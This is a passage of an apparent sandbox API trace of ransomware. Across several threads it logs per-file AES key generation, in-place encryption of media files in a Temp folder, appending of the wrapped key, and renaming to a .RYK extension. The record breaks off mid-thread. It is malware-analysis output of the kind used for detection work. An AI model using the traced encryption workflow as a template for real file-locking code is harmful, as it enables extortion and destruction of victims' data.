	[0254.207] ReadFile (in: hFile=0x698, lpBuffer=0x93ef7b0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x93ef720, lpOverlapped=0x0 | out: lpBuffer=0x93ef7b0*, lpNumberOfBytesRead=0x93ef720*=0x19, lpOverlapped=0x0) returned 1
	[0254.209] SetFilePointer (in: hFile=0x698, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.209] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x93ef738 | out: phKey=0x93ef738*=0x3f8180) returned 1
	[0254.209] SetFilePointer (in: hFile=0x698, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.209] ReadFile (in: hFile=0x698, lpBuffer=0x3180000, nNumberOfBytesToRead=0xdfd1, lpNumberOfBytesRead=0x93ef744, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesRead=0x93ef744*=0xdfd1, lpOverlapped=0x0) returned 1
	[0254.209] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x93ef740*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x93ef740*=0xf4250) returned 1
	[0254.210] CryptEncrypt (in: hKey=0x3f8180, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3180000*, pdwDataLen=0x93ef748*=0xdfd1, dwBufLen=0xf4250 | out: pbData=0x3180000*, pdwDataLen=0x93ef748*=0xdfe0) returned 1
	[0254.210] SetFilePointer (in: hFile=0x698, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.210] WriteFile (in: hFile=0x698, lpBuffer=0x3180000*, nNumberOfBytesToWrite=0xdfe0, lpNumberOfBytesWritten=0x93ef744, lpOverlapped=0x0 | out: lpBuffer=0x3180000*, lpNumberOfBytesWritten=0x93ef744*=0xdfe0, lpOverlapped=0x0) returned 1
	[0254.210] WriteFile (in: hFile=0x698, lpBuffer=0x93ef770*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x93ef750, lpOverlapped=0x0 | out: lpBuffer=0x93ef770*, lpNumberOfBytesWritten=0x93ef750*=0x6, lpOverlapped=0x0) returned 1
	[0254.211] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x93ef760 | out: pbData=0x0*, pdwDataLen=0x93ef760*=0x10c) returned 1
	[0254.211] CryptExportKey (in: hKey=0x3f8180, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x93ef7d0, pdwDataLen=0x93ef760 | out: pbData=0x93ef7d0*, pdwDataLen=0x93ef760*=0x10c) returned 1
	[0254.211] WriteFile (in: hFile=0x698, lpBuffer=0x93ef7d0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x93ef750, lpOverlapped=0x0 | out: lpBuffer=0x93ef7d0*, lpNumberOfBytesWritten=0x93ef750*=0x10c, lpOverlapped=0x0) returned 1
	[0254.211] CloseHandle (hObject=0x698) returned 1
	[0254.835] CryptDestroyKey (hKey=0x3f8180) returned 1
	[0254.836] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4H2RiR0v1TTc.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4h2rir0v1ttc.mp3.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3264
	os_tid = 0x38c4

	[0253.275] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp", dwFileAttributes=0x80) returned 1
	[0254.213] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694
	[0254.213] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x92cf998 | out: lpFileSize=0x92cf998*=60549) returned 1
	[0254.213] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x92cf9a8 | out: lpFileSize=0x92cf9a8*=60549) returned 1
	[0254.213] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0xeb63, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.213] ReadFile (in: hFile=0x694, lpBuffer=0x92cf9f0, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x92cf960, lpOverlapped=0x0 | out: lpBuffer=0x92cf9f0*, lpNumberOfBytesRead=0x92cf960*=0x19, lpOverlapped=0x0) returned 1
	[0254.215] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.215] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x92cf978 | out: phKey=0x92cf978*=0x3f81f0) returned 1
	[0254.215] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.215] ReadFile (in: hFile=0x694, lpBuffer=0x3280000, nNumberOfBytesToRead=0xec85, lpNumberOfBytesRead=0x92cf984, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesRead=0x92cf984*=0xec85, lpOverlapped=0x0) returned 1
	[0254.216] CryptEncrypt (in: hKey=0x3f81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x92cf980*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x92cf980*=0xf4250) returned 1
	[0254.216] CryptEncrypt (in: hKey=0x3f81f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3280000*, pdwDataLen=0x92cf988*=0xec85, dwBufLen=0xf4250 | out: pbData=0x3280000*, pdwDataLen=0x92cf988*=0xec90) returned 1
	[0254.216] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.216] WriteFile (in: hFile=0x694, lpBuffer=0x3280000*, nNumberOfBytesToWrite=0xec90, lpNumberOfBytesWritten=0x92cf984, lpOverlapped=0x0 | out: lpBuffer=0x3280000*, lpNumberOfBytesWritten=0x92cf984*=0xec90, lpOverlapped=0x0) returned 1
	[0254.217] WriteFile (in: hFile=0x694, lpBuffer=0x92cf9b0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x92cf990, lpOverlapped=0x0 | out: lpBuffer=0x92cf9b0*, lpNumberOfBytesWritten=0x92cf990*=0x6, lpOverlapped=0x0) returned 1
	[0254.217] CryptExportKey (in: hKey=0x3f81f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x92cf9a0 | out: pbData=0x0*, pdwDataLen=0x92cf9a0*=0x10c) returned 1
	[0254.217] CryptExportKey (in: hKey=0x3f81f0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x92cfa10, pdwDataLen=0x92cf9a0 | out: pbData=0x92cfa10*, pdwDataLen=0x92cf9a0*=0x10c) returned 1
	[0254.217] WriteFile (in: hFile=0x694, lpBuffer=0x92cfa10*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x92cf990, lpOverlapped=0x0 | out: lpBuffer=0x92cfa10*, lpNumberOfBytesWritten=0x92cf990*=0x10c, lpOverlapped=0x0) returned 1
	[0254.217] CloseHandle (hObject=0x694) returned 1
	[0254.834] CryptDestroyKey (hKey=0x3f81f0) returned 1
	[0254.834] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\4XLcXlYhAvHImy-.bmp.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\4xlcxlyhavhimy-.bmp.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3265
	os_tid = 0x38c8

	[0253.275] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a", dwFileAttributes=0x80) returned 1
	[0254.218] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x690
	[0254.219] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x8f2f8d8 | out: lpFileSize=0x8f2f8d8*=18654) returned 1
	[0254.219] GetFileSizeEx (in: hFile=0x690, lpFileSize=0x8f2f8e8 | out: lpFileSize=0x8f2f8e8*=18654) returned 1
	[0254.219] SetFilePointerEx (in: hFile=0x690, liDistanceToMove=0x47bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.219] ReadFile (in: hFile=0x690, lpBuffer=0x8f2f930, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x8f2f8a0, lpOverlapped=0x0 | out: lpBuffer=0x8f2f930*, lpNumberOfBytesRead=0x8f2f8a0*=0x19, lpOverlapped=0x0) returned 1
	[0254.221] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.221] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x8f2f8b8 | out: phKey=0x8f2f8b8*=0x39f520) returned 1
	[0254.221] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.221] ReadFile (in: hFile=0x690, lpBuffer=0x3380000, nNumberOfBytesToRead=0x48de, lpNumberOfBytesRead=0x8f2f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesRead=0x8f2f8c4*=0x48de, lpOverlapped=0x0) returned 1
	[0254.221] CryptEncrypt (in: hKey=0x39f520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x8f2f8c0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x8f2f8c0*=0xf4250) returned 1
	[0254.221] CryptEncrypt (in: hKey=0x39f520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3380000*, pdwDataLen=0x8f2f8c8*=0x48de, dwBufLen=0xf4250 | out: pbData=0x3380000*, pdwDataLen=0x8f2f8c8*=0x48e0) returned 1
	[0254.221] SetFilePointer (in: hFile=0x690, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.221] WriteFile (in: hFile=0x690, lpBuffer=0x3380000*, nNumberOfBytesToWrite=0x48e0, lpNumberOfBytesWritten=0x8f2f8c4, lpOverlapped=0x0 | out: lpBuffer=0x3380000*, lpNumberOfBytesWritten=0x8f2f8c4*=0x48e0, lpOverlapped=0x0) returned 1
	[0254.222] WriteFile (in: hFile=0x690, lpBuffer=0x8f2f8f0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x8f2f8d0, lpOverlapped=0x0 | out: lpBuffer=0x8f2f8f0*, lpNumberOfBytesWritten=0x8f2f8d0*=0x6, lpOverlapped=0x0) returned 1
	[0254.222] CryptExportKey (in: hKey=0x39f520, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x8f2f8e0 | out: pbData=0x0*, pdwDataLen=0x8f2f8e0*=0x10c) returned 1
	[0254.222] CryptExportKey (in: hKey=0x39f520, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x8f2f950, pdwDataLen=0x8f2f8e0 | out: pbData=0x8f2f950*, pdwDataLen=0x8f2f8e0*=0x10c) returned 1
	[0254.222] WriteFile (in: hFile=0x690, lpBuffer=0x8f2f950*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x8f2f8d0, lpOverlapped=0x0 | out: lpBuffer=0x8f2f950*, lpNumberOfBytesWritten=0x8f2f8d0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.222] CloseHandle (hObject=0x690) returned 1
	[0254.833] CryptDestroyKey (hKey=0x39f520) returned 1
	[0254.833] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5hDsOAAkJpxZ1n.m4a.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5hdsoaakjpxz1n.m4a.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3266
	os_tid = 0x38cc

	[0253.276] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav", dwFileAttributes=0x80) returned 1
	[0254.223] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x68c
	[0254.223] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x964fb38 | out: lpFileSize=0x964fb38*=94936) returned 1
	[0254.223] GetFileSizeEx (in: hFile=0x68c, lpFileSize=0x964fb48 | out: lpFileSize=0x964fb48*=94936) returned 1
	[0254.223] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x171b6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.223] ReadFile (in: hFile=0x68c, lpBuffer=0x964fb90, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x964fb00, lpOverlapped=0x0 | out: lpBuffer=0x964fb90*, lpNumberOfBytesRead=0x964fb00*=0x19, lpOverlapped=0x0) returned 1
	[0254.225] SetFilePointer (in: hFile=0x68c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.225] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x964fb18 | out: phKey=0x964fb18*=0x39f440) returned 1
	[0254.225] SetFilePointer (in: hFile=0x68c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.225] ReadFile (in: hFile=0x68c, lpBuffer=0x3480000, nNumberOfBytesToRead=0x172d8, lpNumberOfBytesRead=0x964fb24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesRead=0x964fb24*=0x172d8, lpOverlapped=0x0) returned 1
	[0254.227] CryptEncrypt (in: hKey=0x39f440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x964fb20*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x964fb20*=0xf4250) returned 1
	[0254.227] CryptEncrypt (in: hKey=0x39f440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3480000*, pdwDataLen=0x964fb28*=0x172d8, dwBufLen=0xf4250 | out: pbData=0x3480000*, pdwDataLen=0x964fb28*=0x172e0) returned 1
	[0254.227] SetFilePointer (in: hFile=0x68c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.228] WriteFile (in: hFile=0x68c, lpBuffer=0x3480000*, nNumberOfBytesToWrite=0x172e0, lpNumberOfBytesWritten=0x964fb24, lpOverlapped=0x0 | out: lpBuffer=0x3480000*, lpNumberOfBytesWritten=0x964fb24*=0x172e0, lpOverlapped=0x0) returned 1
	[0254.228] WriteFile (in: hFile=0x68c, lpBuffer=0x964fb50*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x964fb30, lpOverlapped=0x0 | out: lpBuffer=0x964fb50*, lpNumberOfBytesWritten=0x964fb30*=0x6, lpOverlapped=0x0) returned 1
	[0254.228] CryptExportKey (in: hKey=0x39f440, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x964fb40 | out: pbData=0x0*, pdwDataLen=0x964fb40*=0x10c) returned 1
	[0254.228] CryptExportKey (in: hKey=0x39f440, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x964fbb0, pdwDataLen=0x964fb40 | out: pbData=0x964fbb0*, pdwDataLen=0x964fb40*=0x10c) returned 1
	[0254.228] WriteFile (in: hFile=0x68c, lpBuffer=0x964fbb0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x964fb30, lpOverlapped=0x0 | out: lpBuffer=0x964fbb0*, lpNumberOfBytesWritten=0x964fb30*=0x10c, lpOverlapped=0x0) returned 1
	[0254.229] CloseHandle (hObject=0x68c) returned 1
	[0254.831] CryptDestroyKey (hKey=0x39f440) returned 1
	[0254.831] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\5z_ijfYGlkugL6.wav.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\5z_ijfyglkugl6.wav.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3267
	os_tid = 0x38d0

	[0253.277] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3", dwFileAttributes=0x80) returned 1
	[0254.230] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x688
	[0254.230] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x952f8b8 | out: lpFileSize=0x952f8b8*=27860) returned 1
	[0254.231] GetFileSizeEx (in: hFile=0x688, lpFileSize=0x952f8c8 | out: lpFileSize=0x952f8c8*=27860) returned 1
	[0254.231] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x6bb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0254.231] ReadFile (in: hFile=0x688, lpBuffer=0x952f910, nNumberOfBytesToRead=0x19, lpNumberOfBytesRead=0x952f880, lpOverlapped=0x0 | out: lpBuffer=0x952f910*, lpNumberOfBytesRead=0x952f880*=0x19, lpOverlapped=0x0) returned 1
	[0254.232] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.232] CryptGenKey (in: hProv=0x3bf240, Algid=0x6610, dwFlags=0x1, phKey=0x952f898 | out: phKey=0x952f898*=0x3ae8a0) returned 1
	[0254.232] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.233] ReadFile (in: hFile=0x688, lpBuffer=0x3580000, nNumberOfBytesToRead=0x6cd4, lpNumberOfBytesRead=0x952f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesRead=0x952f8a4*=0x6cd4, lpOverlapped=0x0) returned 1
	[0254.233] CryptEncrypt (in: hKey=0x3ae8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x952f8a0*=0xf4240, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x952f8a0*=0xf4250) returned 1
	[0254.233] CryptEncrypt (in: hKey=0x3ae8a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x952f8a8*=0x6cd4, dwBufLen=0xf4250 | out: pbData=0x3580000*, pdwDataLen=0x952f8a8*=0x6ce0) returned 1
	[0254.233] SetFilePointer (in: hFile=0x688, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0254.233] WriteFile (in: hFile=0x688, lpBuffer=0x3580000*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x952f8a4, lpOverlapped=0x0 | out: lpBuffer=0x3580000*, lpNumberOfBytesWritten=0x952f8a4*=0x6ce0, lpOverlapped=0x0) returned 1
	[0254.234] WriteFile (in: hFile=0x688, lpBuffer=0x952f8d0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x952f8b0, lpOverlapped=0x0 | out: lpBuffer=0x952f8d0*, lpNumberOfBytesWritten=0x952f8b0*=0x6, lpOverlapped=0x0) returned 1
	[0254.234] CryptExportKey (in: hKey=0x3ae8a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x952f8c0 | out: pbData=0x0*, pdwDataLen=0x952f8c0*=0x10c) returned 1
	[0254.234] CryptExportKey (in: hKey=0x3ae8a0, hExpKey=0x3f7930, dwBlobType=0x1, dwFlags=0x0, pbData=0x952f930, pdwDataLen=0x952f8c0 | out: pbData=0x952f930*, pdwDataLen=0x952f8c0*=0x10c) returned 1
	[0254.234] WriteFile (in: hFile=0x688, lpBuffer=0x952f930*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x952f8b0, lpOverlapped=0x0 | out: lpBuffer=0x952f930*, lpNumberOfBytesWritten=0x952f8b0*=0x10c, lpOverlapped=0x0) returned 1
	[0254.234] CloseHandle (hObject=0x688) returned 1
	[0254.830] CryptDestroyKey (hKey=0x3ae8a0) returned 1
	[0254.830] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\6p47SKC0 jWuZ.mp3.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\6p47skc0 jwuz.mp3.ryk"), dwFlags=0x8) returned 1

Thread:
	id = 3268
	os_tid = 0x38d4

	[0253.278] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv", dwFileAttributes=0x80) returned 1
	[0254.235] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\9iFq8y63.mkv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\9ifq8y63.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x684
	[0254.235] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x990f598 | out: lpFileSize=0x990f598*=31414) returned 1
	[0254.235] GetFileSizeEx (in: hFile=0x684, lpFileSize=0x990f5a8 | out: lpFileSize=0x990f5a8*=31414) returned 1
